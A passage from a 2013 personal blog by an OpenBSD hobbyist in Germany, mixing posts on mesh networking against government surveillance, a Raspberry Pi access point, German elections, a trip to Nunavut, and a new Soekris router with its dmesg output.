M96]R861E8R`M;'1H96]R865N8R`M;'9O"`M;'@R-C0@+6QX=FED8V]R92`M;'H@+7!T:')E860*($Q)0F%V9&5V:6-E
M7T585%)!3$E"4STM3"1[6#$Q0D%317TO;&EB("UL6#$Q("UL6&5X="`M;%AF
M:7AETQ/0T%,0D%317TO;&EB("UL8GHR("UL

Now I can finally convert my AVI's on my Mac too. See if this one works for you on a Mac...



Vlog #4, just a test

June 12th, 2013

Just a test, but if it works for you on all browsers that'd be wicked.



Vlog #5 Got 3 books on IOS development

June 14th, 2013

Don't let my expression fool you. I'm very satisfied. It's just that I've been in a grumpy mood for the last two days so I don't look all that happy. The video was recorded on OpenBSD with my webcam, I reworked the audio with audacity on OpenBSD and converted both videos with ffmpeg from avi into their respective formats. To get the .m4v format you have to recompile ffmpeg on OpenBSD though. I'm considering doing a lot more video blog entries so you may as well get used to it, plus it may make it harder for the NSA to gain anything useful.



A german Google? Will the market allow it?

June 16th, 2013

I once programmed a web bot that would grab the index of random IP's out there. After running it a few days, I got a not-so-nice email from my german VPS provider that I was running malware, a certain virus. And they asked me to do something / stop. So my initial attempts failed at becoming a search engine. Now then in the german spiegel.de website someone has quoted the german interior ministers as saying they want a german Google to keep information local (and possibly also have the local three letter organisation spy on the data). They did say that the markets won't allow it in spiegel. And I think they are right, due to my previous attempts of running a bot.

Now if they are serious they'll have to open the Internet in terms of freedoms. Google only succeeded to become the #1 search engine because they could do anything they wanted, ranging from 1) doing anything they wanted with their web crawlers (googlebot), 2) doing anything technically possible with network technologies (BGP, IX's), 3) getting a googol worth of funding. There is possibly more that I'm not listing here. I believe I have some (little) insider knowledge (to online advertising) because I worked for a competitor to doubleclick which is now a part of google. Back then we thought about how we could collect as much data as possible to help us target advertising to respective people. We brainstormed a lot and tried to get access to these technologies. One find we had was that in internal IP data the BGP Autonomous System number was valuable to correlate where someone was. But it was not easy getting a BGP link, in fact to get there you have to be reasonably large and have cooperation of carriers to provide the redundant links to one. We weren't big enough and only had a single link to UUnet.ca, and hosted at Tier 2+3 providers. I believe because we could not make that curve that the company I worked for went out of business.

Back to my initial webcrawler. I developed technology to crawl websites. I used this technology but was probhibited by administrative rules. Had I been able to continue I may have been able to make a business out of this. Slowly growing (had I wanted to do that) and perhaps gaining value beyond runnign the crawler on a VPS, perhaps a dedicated server next, then a colo, and then my own network. The dream had endless possibilities at its inception and was cut short by the markets (prohibitative administrative rules). Had I been able to continue who knows what would have happened. Given no resistance the possibilities are a Googool (10^100)!



Northern Solstice in 3 days

June 18th, 2013

I usually give out the solstice and equinoxes a few days before. So the northern solstice is upon us again. This is when the sun is at 90 degrees with the northern tropic, tropic of cancer. This means summer in the northern hemisphere (officially), and winter in the southern hemisphere. Can you imagine snowfall in the patagonia region of south america? I can't because summer is here in europe, but it may be true.

After the sun reaches the tropic of cancer it turns around southward again, until it crosses the equator, that's officially the southbound equinox also called autumn equinox and will be the first day of fall in the northern hemisphere.



Some video about Wildcarddnsd

June 18th, 2013

This was really hard to do for me, considering there was hardly a script.



The moon last night

June 20th, 2013

From my balcony, but I was shaking the camera unfortunately...



Sunny Solstice

June 21st, 2013

Ever wonder where the sun is (constellation) when it's northern solstice?

Look how Jupiter is occulted by the sun. Not sure if it's the right term but does that mean it's at opposition? I thought this fact was special. Jupiter behind sun at solstice, both in the constellation of Taurus almost in Gemini. Can you feel their gravity pulling on you?



What government should do

June 23th, 2013

Governments outside of the so-called five eyes nations are outraged over the prism and tempora sniffing programmes. However you can't change a dumb user to not encrypt, in fact it's hard to encrypt for most people. I'm afraid there is no easy way, but perhaps the fabric of the Internet can be re-woven in such a way that prism and tempora have a harder time gaining data. Let's pretend government said "we want you to use P2P protocols" and really encourages it. With P2P a lot of data is moved and it goes in all directions. I believe it would be a good initiative when you can't use encryption. Other than that perhaps develop Operating Systems and crypto systems outside of the USA and Britain in order to offset the current status quo. Also the structure of the Internet shouldn't just be a grand trunk with subnets, it should be a mesh and a mesh of hubs. Think about this last line a bit.



Got a new book

June 25th, 2013

I got this new book called "Absolute OpenBSD: UNIX for the practical paranoid" by Michael W. Lucas.



The Key Satellites

June 25th, 2013

We should encrypt our private conversations, how do we do that? I believe quantum encrypted laser links to polar orbiting satellites in low earth orbit are a good thing. These then communicate to higher geostationary satellites and vice versa. Whenever the geostationary satellites talk back to the polar satellites they wait until the beam is at tangent with the curvature of the earth so that the beam would never hit earth. The transmission payload would be only AES or similar crypto keys which are then used symmetrically without assymetric key exchange. I think this is worthwhile for states such as Germany and german embassies world wide. A VPN to your embassy would be cool too if you're abroad somewhere in order to make use of this crypto. This is all a response to the TAT-14 spying.



UFO sighted

June 25th, 2013

I took this picture of an UFO outside my window. It's possibly a weather balloon judging how it rose into the air. But the shape is somewhat odd.

You can click on the jpg to make it bigger I think. I scaled it 50%.



How everyone's Internet should be like

June 26th, 2013

When I speak to people about how the Internet should be like I liken it to a spider web.

The spider doesn't create one link but several, as means of redundancy and stability. So when humans build an Internet usually in its first phases it looks like this:

        o o o o o o o o o o o o o o o 
        | | | | | | | | | | | | | | |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-----(BR)----
In this ASCII drawing you have a trunk and end-users (drawn as "o"). There is a (BR) (bad router) that the government spies sit at and listen to everyone. We have to admit it's like this because it is. We are being spied upon and are making it very easy. But it doesn't have to be like that. We can make changes...we can work out a spider web between neighbouring houses (end-users). It would look like this:

As you can see everyone has 2 or more gateways that they use. This is what's called a "mesh" (and the purple links are its links). The model is just a small neighbourhood but it should be linked with an entire city like this. The light blue is gateways to the Internet. The Internet past these gateways should look like 1 house in this picture as well. The trick is to send packets in any random direction and the packet will seek its destination any random way. This requires new routing protocols that make this possible. It requires investments by neighbours to create the links, and government approval. It makes spying on the communications of any single person very difficult and that is its intent. Just we gotta realise this some day and do it.



This is for July 1st

June 26th, 2013

I'm putting this up now so that I don't forget later...

Happy Canada Day! Even though I'm absent from Canada I thought I'd say peace! Eh!?



Helping the NSA find baby-jesus

June 30th, 2013



Cherries!

July 1st, 2013

These were growing on my parents trees. Nice eh?



Weird Sky, more UFO's?

July 2nd, 2013

Out my Office window there is a spectacular cloud. Only it has jet trails going in on one end and coming out another. What happened in the cloud?

What I said to myself was "oh that's weird!"... after 5 minutes or so the jet on the right did not come out of the cloud, and the wind wiped the jet trails. Suspicous!



Good Engineering will prevent domestic Spying

July 3rd, 2013

Germany has a lack of engineers? Or are the good engineers not being heard? We should put engineering principles on the table to create an Internet that is safe from spying even if spying is outlawed. We cannot afford to be mass surveilled by a higher class of people. Internet should be fair for everyone. I don't blame the NSA as much as I blame BND. For them to say "OK we'll stop" is not good enough. We must re-engineer the entire fabric of the Internet in Germany, to secure everyones privacy.



A Look back from 2001: Has my vision really changed?

July 4th, 2013

Happy US Independence day! Independence day to me, as an observer, stands for freedom. Freedom and a set of ideals. I recently came across an old project of mine called daemonium.com. It was to be a start-up ISP, but it wasn't meant to be. However I'd like to strike parallels to back then and now. Here is a screenshot from the wayback machine (archive.org).

Feel free to browse in the archive (without pictures) by following this link. Big on the front page of daemonium.com was the four statements: Cooperation, Innovation, Privacy, Trust. Daemonium's concept was very simple really. It was to be a DSL ISP but had a twist. It would use wifi to give people access to their neighbours and route around bad links. If you look a few articles down from this article you'll find how I think a neighbourhood should look like. This concept is very similar, but different in the way that I'd not use wireless today but rather optical links such as improved upon RONJA. Daemonium's vision to grow into a campus was perhaps wrong but the rest is right on. Privacy is big in that project. I saw the dangers that we face today, only Google was not so popular back then, it was Yahoo and doubleclick instead. Also I foresaw that government would try to mass surveil people, hence the wifi links with IPSEC that were to give privacy from snoops.

I could go deeper into this but I'd just like to leave the archive to you and make up your own mind. And I'd like to point out that the biggest change is a societal one, not that this is big technology. People have to take their freedom into their own hands and route around dangers that lurk in society, such as mass surveilance by secret services, police and people in position of power. I don't see it happening, I see empty handed people, victims of a digital divide. Perhaps my observance is wrong, and I hope we can get back to freedom the way it is meant to be. As for me, I'll keep dreaming.



2014, the year of the cable?

July 5th, 2013

PRISM is perhaps at its end. There is 2 non-US cables being laid that isolate the US entirely. Take a look at the following cables BRICS, ROTACS and arcticfibre on Greg's Cable Map. BRICS and ROTAC open Asia to Europe and South America, avoiding the USA. This is all good for everyone, the US will have more capacity in it's intra-national fibre all of a sudden, they'll also have less opportunities to spy on this data. It's also good for UNASUR countries who may want trade with Asia and don't want the US to know about it. And I believe my route may go through Moscow before soon to reach Hong Kong, again avoiding US territory.

I'm thinking news of this all will make some people mad and others happy.



Redder Cherries

July 6th, 2013



DSL not working, getting LTE

July 7th, 2013

As you may or may not know, I work remotely over the Internet. So it's a great problem then, when my sole link to the Internet goes down. And it has been intermittently down since wednesday. For the past few weeks I've been trying to get a hold of this shop to get me LTE and I surprisingly got a hold of him last week. He's got an LTE router and SIM card for me, that I'll use as a backup link. It'll cost more than my DSL and doesn't have as much traffic volume, but it's sufficient to give me a few days of DSL backup. My DSL will be fixed by wednesday my DSL provider m-net told me, but I can't wait, I gotta make money somehow. So in a way it's a blessing to be getting an LTE link. I couldn't get a Satellite link which would have been my first choice, because I don't face south with my apartment. And cable Internet isn't wanted by my landlord. I do have line of sight to a lot of people though that do have a southern sky. Any of my neighbours that are reading want to give me a sat backup? :-)



Got LTE, Internet is stable again

July 9th, 2013

I got LTE finally and configured it to my home network. Everything works again. Here is the timeline of what I noticed with my network.

  • Wednesday, June 26th, I noticed massive wifi interference and noise and I had to move to cable, I dug out my 20 meter cat5 cable and service was restored my Monday July 1st.
  • Wednesday, July 3rd, I noticed massive DSL resynchronisations and Internet became unbearable for me, it took until Saturday to get a ticket opened.
  • Monday July 8th, got LTE and restored service
  • Tueday July 9th, moved back to wireless but into the 5Ghz spectrum where there is no interfering neighbours, in fact it seems around here the 5Ghz spectrum is entirely vacant, in contrast to the 2.4 Ghz spectrum which has 10 or so AP's on it.
All in all this has been a very stressful week, considering I work remotely over the Internet, it put strain on operations.



How the Internet should be like (Pt.2)

July 11th, 2013

I don't know where this is, it's somewhere in Africa, but the paths are an inspiration how the Internet should be like on earth.

Imagine the trails being cat5 cables, now imagine how you could route around a hut without being seen.

Also more importantly these trails were made by people for the people, and that's how the Internet should be like too. Forget it being served by telcos, that only invites spying.



IT Security, SSH timing attack

July 11th, 2013

This explains a lot. Thanks to Hawson for the link.



This blog now obfuscates all data

July 17th, 2013

I've had some problems with bots from companies that don't honour the robots.txt file. This exposed my blog to some search engines, not something I prefer. So I have started to obfuscate my blog with PHP and javascript. Basically what it does is it creates a random password and based on that password a random sequence of numbers by hashing the password, taking the lowest byte and hashing the hash again, taking the lowest byte and so on. After some processing the lowest bytes make a sequence that is always the same. So when I apply that sequence of bytes and XOR it to my blogs contents then a garble will result. It looks like encryption but it's not it's only obfuscation, but it also makes people who sniff the wire have a harder time figuring out what's going on. Unless they also use javascript. AFAIK google bot uses javascript but it also honours robots.txt so we're even on that. If you're using lynx you can't read this blog anymore unfortunately, switch to X11/firefox.



Just more preaching about preventing spying...

July 18th, 2013

For the past few weeks everything in the media is about PRISM, NSA and BND, but I'm gonna talk about the real problem (topologies) and what I think is a solution, mesh networking...

Oh yes I got a haircut a while ago :P thanks!



Centroid Blog for Lynx readers

July 25th, 2013

http://centroid.eu/public/centroid-blog.sh.txt. I wrote this small shell script for you (and me). It deobfuscates the blog just like javascript does on graphical browsers, but you only get the first 10 articles which should be enough. Cheers!



Watched the Big Dipper out my Kitchen Window

July 28th, 2013

The Big Dipper was visible out my kitchen window which faces north tonight. If I ducked and looked I could see Polaris too. For those that don't know the Big Dipper is called the Ursa Major constellation. I came up with the hypothesis that in 6 months when I look out this window at the same time that Ursa Major will be out of my field of view because of how the window is like. But I should be able to see Polaris still although I won't be able to identify it.



I asked for a static IP again

August 5th, 2013

I asked my provider (m-net) to bring back static IP's. They discontinued the static IP's last years 4th quarter or something and I'm missing it. I want to host my own mail server. I want to host my own DNS server all on my own hardware. If they don't bring the static IP's back to customers as an extra option I'm probably going to look for a new ISP, one that does this. I'M also willing to pay more again.



Purchased a Raspberry Pi mini-computer

August 15th, 2013

I have purchased a raspberry pi. It will arrive here either on saturday or next week. I have this idea for the Pi. I currently have an open access point here at home that isn't encrypted. People can send a rate-limited UDP packet from it but everything is pretty well blocked off. I want to take a new step forward. I want to completely partition this wifi ap from the internet and have the raspberry pi run it's soul. I'll be using wildcarddnsd like before to hijack DNS requests and point them to the Pi. I'll also put up a message wiki for people to write in. I think it'll rock. More on this later.

I have compiled a FreeBSD image as found here. The provided script worked well except in 2 parts I had to make modifications to my FreeBSD 9.1 VPS in order to compile it. One was the change:

# pw useradd auditdistd -u 78 -g 77 -d /var/empty -s /usr/sbin/nologin \
-c "Auditdistd unprivileged user"
And the other was the fact that the $DTB was not bcm2835-rpi-b.dtb but rather just rpi.dtb. Other than that the script ran flawlessly.



Wait a minute... not so fast... what changed?

August 16th, 2013

In germany the ruling government has declared the spy affaire to be dead. A Mr. Pofalla and Mr. Friedrichs who are ministers have voiced that there is nothing to go on. Nothing to go on? These ministers have admitted to us that the BND and other german secret services are actively spying on us. So while the USA may or may not be spying on german citizens the interior secret services are.

While our hands are tied in the public in terms of doing something about this right now, this does seem to be a good way to express my feelings at the vote. I'm voting Pirate Party of Germany because I'm for transparency and for an Internet that is supported by a political process.

While I hate to write about this whole spy affaire as it really ruins the good mood my blog used to give me, I think it's necessary to write about this issue because it affects our freedom. Like Bruce Schneier said that in the USA the NSA have commandeered the Internet ( see his blog for that), I'm drawing similar conclusions here in Germany about the BND. How dare they attempt to take the Internet away from us! This is a digital coup! While not literally "taking it away" they are installing facilities in several places to read Internet traffic, they've in fact taken away the privacy going on the digital links.

See you at the vote, where my vote will probably not count unless my party gets over 5% of the vote, which is a grey zone. But you never know.



Got Raspberry Pi, it's running Linux now

August 18th, 2013

I found the FreeBSD Pi image I made still lacked a bit of stability. So I put Raspbian Wheezy on my Pi. I'll use this pi like I said below. Right now what's running is a wiki, with apache and mysqld as well as wildcarddnsd which wildcards the entire Internet's names to one IP. It seems to work nicely.

If someone goes to "somedomainname.tld" it'll redirect to the wiki and and give an editable page for Somedomainname.tld. I think it may be popular around here, if only I knew how to turn the edit history off. Overall I'm a happy camper.



Ordered a WLAN USB adapter for the Pi

August 23th, 2013

I'd say the Raspberry Pi is a success. I'm taking it a step further now to replace the Apple Access Point (Apple Extreme 2nd gen.) and I'll make savings in electricity usage. What I'm doing is getting a USB WLAN adapter from Edimax which is compatible with my Pi. I'm going to have to run this in hostap mode somehow, something I haven't figured out on the Pi yet, I'm sure it'll work though.



Got two books I ordered

August 25th, 2013

I got the following books:

  • PostgreSQL 9.0 High Performance - Gregory Smith
  • PostgreSQL 9 Admin Cookbook - Simon Riggs and Hannu Krossing
I'll be reading these in the next little while as I'm interesting in their Clustering.



Vacationing in Canada next month

August 27th, 2013

I'm going to be in a lot of places, and all over. Ontario, Saskatchewan and Nunavut (which is way up north). All my flights and train rides have been purchased and I have a sort of schedule to follow to see all my old friends. This is my first vacation in 2 years and I haven't been to Canada in a decade, so this is gonna be a great time.



Will be guest DJ'ing at SVPRadio.COM

August 27th, 2013

On September 25th I'll be guest DJ'ing in the reggae spot (10-11PM EST). I'll probably also make a guest appearance on the Get Fresh show with DJ Jaz. I'm really looking forward to this. I've never seen the studio before so this will be great spending some time with DJ Jaz.

The type of music I'll be DJ'ing will be Reggae. It will consist of the artists and music that has been with me for the last few years, (mostly on youtube). I bought a lot of music for this spot.



RadeonDRM on OpenBSD

September 3rd, 2013

OpenBSD hardware with AMD Radeon cards (and Intel HD) have a new video driver. The driver is still bleeding edge but I was able to upgrade my OpenBSD-current netbook which has an AMD chip and my first impression was shock. I was expecting something on the console but nothing appeared. So I hard-powercycled my netbook and hoped to be seeing something better the next time around and I was not let down again. The RadeonDRM is really nice and if you had seen a macppc console before that's how the amd64 netbook's console now looks like. Here is a link to an undeadly article that talks about the changes for radeondrm(4). Thank you to Jonathan Gray who programmed this driver. Also I can now exit X (from startx) and get back to console, I couldn't do that before on this netbook, this is really nice.



Wildcarddnsd has little new features for BETA8

September 4th, 2013

I'm going on holidays in a bit more than 2 weeks, this leaves the following month for wildcarddnsd development:

      October               November
Su Mo Tu We Th Fr Sa  Su Mo Tu We Th Fr Sa
       1  2  3  4  5                  1  2
 6  7  8  9 10 11 12   3  4  5  6  7  8  9
13 14 15 16 17 18 19  10 11 12 13 14 15 16
20 21 22 23 24 25 26  17 18 19 20 21 22 23
27 28 29 30 31        24 25 26 27 28 29 30
On November 29th is W's birthday and I'll try to tag the tree for that reflecting BETA_8 changes. What changes? We have a debug mode as found on line 3 of this markup. Also I'd like to get some changes in that I needed for compiling W on the Raspberry Pi other than that I don't think I have time to do any big changes. What I have attempted to do was replace the BerkeleyDB as a whole, and replace the parsing with a YACC parser but that went nowhere as well. I'm interested in all sorts of help for this daemon as it's getting older and needs a lot more functionality. Any hackers interested in hacking on Wildcarddnsd?



OpenSMTPD upgraded on io.solarscale.de

September 5th, 2013

I noticed OpenSMTPD didn't encrypt outbound mails with STARTTLS. Grabbing a recent snapshot fixed this. Thanks to lynge on #opensmtpd/freenode for helping.



Just a thought, is Snowden a FUD-Trojan?

September 6th, 2013

A trojan is a piece of payload smuggled into enemy territory. It could be a message, a program, or where the name comes from a payload of soldiers in a wooden horse. So then I have to wonder, does anyone ever consider that the entire Snowden affair has been planted from the NSA all along? FUD stands for Fear, Uncertainty and Doubt. So is Snowden a FUD-Trojan? Does he spread fear in all directions and primarily on our beloved Internet? I have considered it. And I have considered my viewpoint. I'm in no position to defend that AES is unbreakable. Nor do I understand the mathematics behind the RSA or Diffie Hellman to a full extend. The NSA has some very bright mathematicians, some of the best it is said. So what if there is a breakthrough? Naturally if there is a breakthrough we need to know. Because the Internet's secrets are worth more than the security of the USA. Some things should stay secret, even from the NSA's eyes is my opinion. At the same time some things should become open. Like cryptography and it's strength. The Internet is on a collective downward spiral if cryptography doesn't work. Because somewhere out there someone has the same formulas as the NSA, and they have a much fearsome plan I predict.



My public AP is on an Edimax adapter now

September 6th, 2013

I forgot to blog about it. I have put the Edimax EW-7811Un adapter on my raspberry pi and have gotten rid of the Apple Access Point. There is only one problem. The range is not as much as the UFO used to give me. I'm not even sure if anyone is connecting to it anymore. It works in the next room but not my entire apartment that's how low the range is. Oh well. I'll keep it running while I'M on vacation perhaps something will come of it.



Good article by Bruce Schneier

September 6th, 2013

The article talks about how engineers have built the Internet and the need to fix it. Some of those engineers have destroyed the Internet and gagged themselves in national secrecy.

I wrote about most of this in June/July. Take a look in my blog for those months. I like the african village paths and that the Internet should be like this.

What I mostly like to see the Internet evolve to as being in the hands of the people. I'm not a communist but I believe that a bunch of wires leading to a fortified address is the wrong way to "share" the Internet with all. We need a distributed effort in our own hands and we all need to learn how to network. Don't leave it to just engineers, get everyone involved in some form. Anyhow good article, we're waking up.



Pre-Ordered OpenBSD 5.4

September 12th, 2013

I have ordered it from OpenBSDEurope again. I wasn't satisfied with the lateness of Lehmann's last time. This is rockin'! Although the song is far from rock! It is nice though.



One year of ap.centroid.eu

September 14th, 2013

Also known as moon.virgostar.net, the vps sits in Hong Kong. I registered it on September 12th last year. While it has been a very reliable computer with only a few hickups I'm considering moving it next year to Canada. It's nice to have an asian DNS server but a DNS server alone is not worth 20 bucks a month. We'll see, perhaps I can get a few friends to chip in on the server in Canada then I can keep the moon where it belongs..far away like HK. In 1 year this server did 3 GB of webtraffic for me. Not very much. I can get that in 1 month on the european vps on a good month.



Southbound Equinox in 7 days

September 15th, 2013

Next Sunday the planet will be at right angles between axis and sun. People on the equator will have the sun directly overhead.



Pirate Party got 2% in Bavarian election

September 15th, 2013

I did vote for them. And I feel a bit bitter. Anyhow perhaps in 5 years there'll be another chance for them. It's good however that we got 2% in.



Tomorrow

September 21st, 2013

... is equinox and the federal german election. I'm gonna try voting for the pirate party. Let's see if the clocks really do tick different in Bavaria than in the rest of Germany.



e* came and went

September 23th, 2013

Both the equinox and the election (both start with e) came and went. Again I voted for the Pirate party and we got 2.2% which is not enough for the pirates to get represented in the Bundestag. I'll give the pirates one more chance at the european elections but if they strike out (3 strikes) there then I'm going to possibly vote for someone else next term.

As far as government I'd be happy with a grand coalition or a CDU-Greens coalition. As I don't think the democratic parties want anything to do with die Linke (who is the 3rd highest). Anyhow I knew it would come to this but I didn't know the FDP would be so weak :-), but it's all better this way anyhow.

I'm not a fan of the "Ueberhangs Mandat" which is a threshold that excludes parties in parliament which get under 5%. 2.2% is worth around a dozen seats in parliament so this is sorta undemocratic to prevent small votes.

As far as the impact that the pirates made, perhaps there will be a new shuffling of parties next election. I'm hoping for more issues based on the snowden revelations, and more politics regarding the Internet.



SVPRadio appearance came and went

September 26th, 2013

I'm in Toronto, and was on SVPRadio yesterday and it turned out very well. Perhaps more later, I'm travelling to Saskatchewan soon.



Some pictures from my vacation

October 1st, 2013

I took the VIA train from Toronto to Saskatoon.



First Snowday of the Year

October 9th, 2013

I'm in Iqaluit, Baffin Island, Nunavut, Canada. It's near the arctic circle. I came here 2 days ago. Yesterday we had a storm with gusts of 100 Km/H go through which dumped a bit of snow. It is the first snowday in iqaluit of the year. Temperatures are hovering around 0 degrees Celsius and are expected to drop a little. Although I do not have pictures at the ready yet I did make some pictures and I'll be sharing those soon. I'm in good health and spirits and will be back in the south of Canada in 2 days and back in Germany in 3 days. Weather permitting of course.



I'm home now

October 13th, 2013

My vacation ends tomorrow. I'm home now. Pictures will likely follow tomorrow.



Snowstorm in Nunavut on the 8th of October

October 13th, 2013

In Nunavut the stop signs are different.

This is my friend Aaron.

The snow reduced visibility pretty much...



Donated 150 euros to OpenBSD

October 14th, 2013

It's donation time again, probably the last of this year. I donated 150 euros to Theo de Raadt. Happy Canadian Thanksgiving!



A Train to Nowhere (Sep. 28th - 30th)

October 14th, 2013

On my second part of my vacation I took the train from Toronto to Saskatoon.

This was in northern Ontario...

The ride in the "Skydome" at sunset...

Before getting to Winnipeg I saw this flock of geese...

Winnipeg...

That was my journey on this train...



Iqaluit, Nunavut (October 7th - 11th)

October 14th, 2013

On my 4th part of my vacation I went to Iqaluit, Nunavut, Canada which is just south of the arctic circle...
When one gets to Iqaluit this is what they'll see (the lady didn't want her face online so I edited it out)...

The second day I was there a snowstorm (part of the storm that hit north dakota a few days earlier) from the south hit us...
Here is a picture of the worker crews in apex restoring power which winds of 100 km/h knocked down...that day there was about 3 power failures despite Aaron telling me they got a new Diesel power system set up for redundancy..

The next day was nice and we trekked out to the Apex beach where the arcticfibre.com landing point is supposed to be..

Here is also the original buildings of the Hudson's Bay company which was a british trading company...

I felt really good and Aaron made these photos of me..

We went to a museum of Nunavut...

Iqaluit was once a US military base, so there is remnants of it everywhere..

In fact there is radio and satellite equipment everywhere, currently they get Internet through this.. which will take a backup role once the fibre is laid..

On our way around we saw these chained sleddogs.. never approach these, they might rip off a limb of yours...(not kidding!)...

And here is also a river where they get arctic char (sp) a type of fish for consumption.. the water is good to drink.

That was Iqaluit! I had the best of times there! Thanks and maybe I'll return for another visit some time soon!



Upgraded my ipod touch to IOS 7

October 14th, 2013

So far it looks pretty good. I hope it retains stability.



Ordered a Soekris

October 15th, 2013

I have ordered a Soekris 6501-70 router for home. It's replacing my G4 Cube which is 12 years old. The Cube wasn't particularily energy efficient and lacked USB 2.0. I'm getting all that with the new soekris. Also I can write it off in taxes because I use it for work (it's part of my home network and an important component of it).



Network Rearrangement in 2 Weeks

October 15th, 2013

On April 25th, 2013 I created a small network map that detailed how I intend to use my IPSEC tunneling host over wifi. Well the network has grown. I have Vodafone LTE and M-Net DSL as my Internet links and Venus (the ordered Soekris) which will help me redo my network. Here is the updated map:

So what I plan on doing is create 2 rdomain routes (an openbsd thing) from uranus to venus for 2 gif tunnels. One will go over 5 Ghz and the other over 2.4 Ghz. The routing is decided with OSPF over the gif tunnels and should fail over when the AREA 0 fails (area 0 will be 5 Ghz tunnel, which is my preference). From Venus itself the M-Net DSL link will have a static route, this ensures that I only send through the LTE link when I flip the route manually, a safe feature since I use 5-10 times as much bandwidth on the DSL link than the LTE link (that link is backup only). I hope it works out as I have envisioned it, but it can change minutely or even in big ways.



Deutsche Telekom

October 17th, 2013

The DT made a poll whether users want freedom or security.

My answer would be, I want freedom, as I'm already using ultra secure platforms and don't need inhibited functionality of the Internet. But then again I'm not a DT customer...but let this opinion stand for my ISP's that I'm using!



Got the Soekris

October 19th, 2013

I got the soekris but I won't have time this weekend to install anything on it. I also don't have pictures yet, those will follow next week some time. I will name this soekris Venus from now on.



Venus (Soekris router)

October 21st, 2013

Here is a picture of venus:

Here is the dmesg:

OpenBSD 5.3 (GENERIC) #53: Tue Mar 12 18:15:44 MDT 2013
    deraadt@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC
real mem = 2146304000 (2046MB)
avail mem = 2066771968 (1971MB)
mainbus0 at root
bios0 at mainbus0
acpi at bios0 not configured
mpbios0 at bios0: Intel MP Specification 1.4
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Genuine Intel(R) CPU @ 1.60GHz, 1600.22 MHz
cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,DTES64,MWAIT,DS-CPL,\
VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,MOVBE,NXE,LONG,LAHF,PERF
cpu0: 512KB 64b/line 8-way L2 cache
cpu0: apic clock running at 99MHz
cpu at mainbus0: not configured
mpbios0: bus 0 is type PCI   
mpbios0: bus 64 is type ISA   
ioapic0 at mainbus0: apid 0 pa 0xfec00000, version 20, 24 pins
cpu0: unknown Enhanced SpeedStep CPU, msr 0x0615101c0600101c
cpu0: using only highest and lowest power states
cpu0: Enhanced SpeedStep 1600 MHz: speeds: 1600, 600 MHz
pci0 at mainbus0 bus 0
pchb0 at pci0 dev 0 function 0 "Intel E600 Host" rev 0x05
pchb1 at pci0 dev 1 function 0 "Intel E600 Config" rev 0x00
ppb0 at pci0 dev 23 function 0 "Intel E600 PCIE" rev 0x00
pci1 at ppb0 bus 1
ppb1 at pci1 dev 0 function 0 "Intel EG20T PCIE" rev 0x01
pci2 at ppb1 bus 2
"Intel EG20T Packet Hub" rev 0x01 at pci2 dev 0 function 0 not configured
"Intel EG20T Ethernet" rev 0x02 at pci2 dev 0 function 1 not configured
"Intel EG20T GPIO" rev 0x01 at pci2 dev 0 function 2 not configured
ohci0 at pci2 dev 2 function 0 "Intel EG20T USB" rev 0x02: apic 0 int 19, version 1.0
ohci1 at pci2 dev 2 function 1 "Intel EG20T USB" rev 0x02: apic 0 int 19, version 1.0
ohci2 at pci2 dev 2 function 2 "Intel EG20T USB" rev 0x02: apic 0 int 19, version 1.0
ehci0 at pci2 dev 2 function 3 "Intel EG20T USB" rev 0x02: apic 0 int 19
usb0 at ehci0: USB revision 2.0
uhub0 at usb0 "Intel EHCI root hub" rev 2.00/1.00 addr 1
"Intel EG20T USB Client" rev 0x02 at pci2 dev 2 function 4 not configured
sdhc0 at pci2 dev 4 function 0 "Intel EG20T SDIO" rev 0x01: apic 0 int 18
sdmmc0 at sdhc0
sdhc1 at pci2 dev 4 function 1 "Intel EG20T SDIO" rev 0x01: apic 0 int 18
sdmmc1 at sdhc1
ahci0 at pci2 dev 6 function 0 "Intel EG20T AHCI" rev 0x02: msi, AHCI 1.1
scsibus0 at ahci0: 32 targets
sd0 at scsibus0 targ 1 lun 0:  SCSI3 0/direct fixed naa.500151795931e477
sd0: 76319MB, 512 bytes/sector, 156301488 sectors, thin
ohci3 at pci2 dev 8 function 0 "Intel EG20T USB" rev 0x02: apic 0 int 16, version 1.0
ohci4 at pci2 dev 8 function 1 "Intel EG20T USB" rev 0x02: apic 0 int 16, version 1.0
ohci5 at pci2 dev 8 function 2 "Intel EG20T USB" rev 0x02: apic 0 int 16, version 1.0
ehci1 at pci2 dev 8 function 3 "Intel EG20T USB" rev 0x02: apic 0 int 16
usb1 at ehci1: USB revision 2.0
uhub1 at usb1 "Intel EHCI root hub" rev 2.00/1.00 addr 1
"Intel EG20T DMA" rev 0x00 at pci2 dev 10 function 0 not configured
puc0 at pci2 dev 10 function 1 "Intel EG20T Serial" rev 0x01: ports: 1 com
com2 at puc0 port 0 apic 0 int 19: ti16750, 64 byte fifo
puc1 at pci2 dev 10 function 2 "Intel EG20T Serial" rev 0x00: ports: 1 com
com3 at puc1 port 0 apic 0 int 19: ti16750, 64 byte fifo
puc2 at pci2 dev 10 function 3 "Intel EG20T Serial" rev 0x00: ports: 1 com
com4 at puc2 port 0 apic 0 int 19: ti16750, 64 byte fifo
puc3 at pci2 dev 10 function 4 "Intel EG20T Serial" rev 0x00: ports: 1 com
com5 at puc3 port 0 apic 0 int 19: ti16750, 64 byte fifo
"Intel EG20T DMA" rev 0x00 at pci2 dev 12 function 0 not configured
"Intel EG20T SPI" rev 0x00 at pci2 dev 12 function 1 not configured
"Intel EG20T I2C" rev 0x00 at pci2 dev 12 function 2 not configured
"Intel EG20T CAN" rev 0x00 at pci2 dev 12 function 3 not configured
"Intel EG20T 1588" rev 0x01 at pci2 dev 12 function 4 not configured
usb2 at ohci0: USB revision 1.0
uhub2 at usb2 "Intel OHCI root hub" rev 1.00/1.00 addr 1
usb3 at ohci1: USB revision 1.0
uhub3 at usb3 "Intel OHCI root hub" rev 1.00/1.00 addr 1
usb4 at ohci2: USB revision 1.0
uhub4 at usb4 "Intel OHCI root hub" rev 1.00/1.00 addr 1
usb5 at ohci3: USB revision 1.0
uhub5 at usb5 "Intel OHCI root hub" rev 1.00/1.00 addr 1
usb6 at ohci4: USB revision 1.0
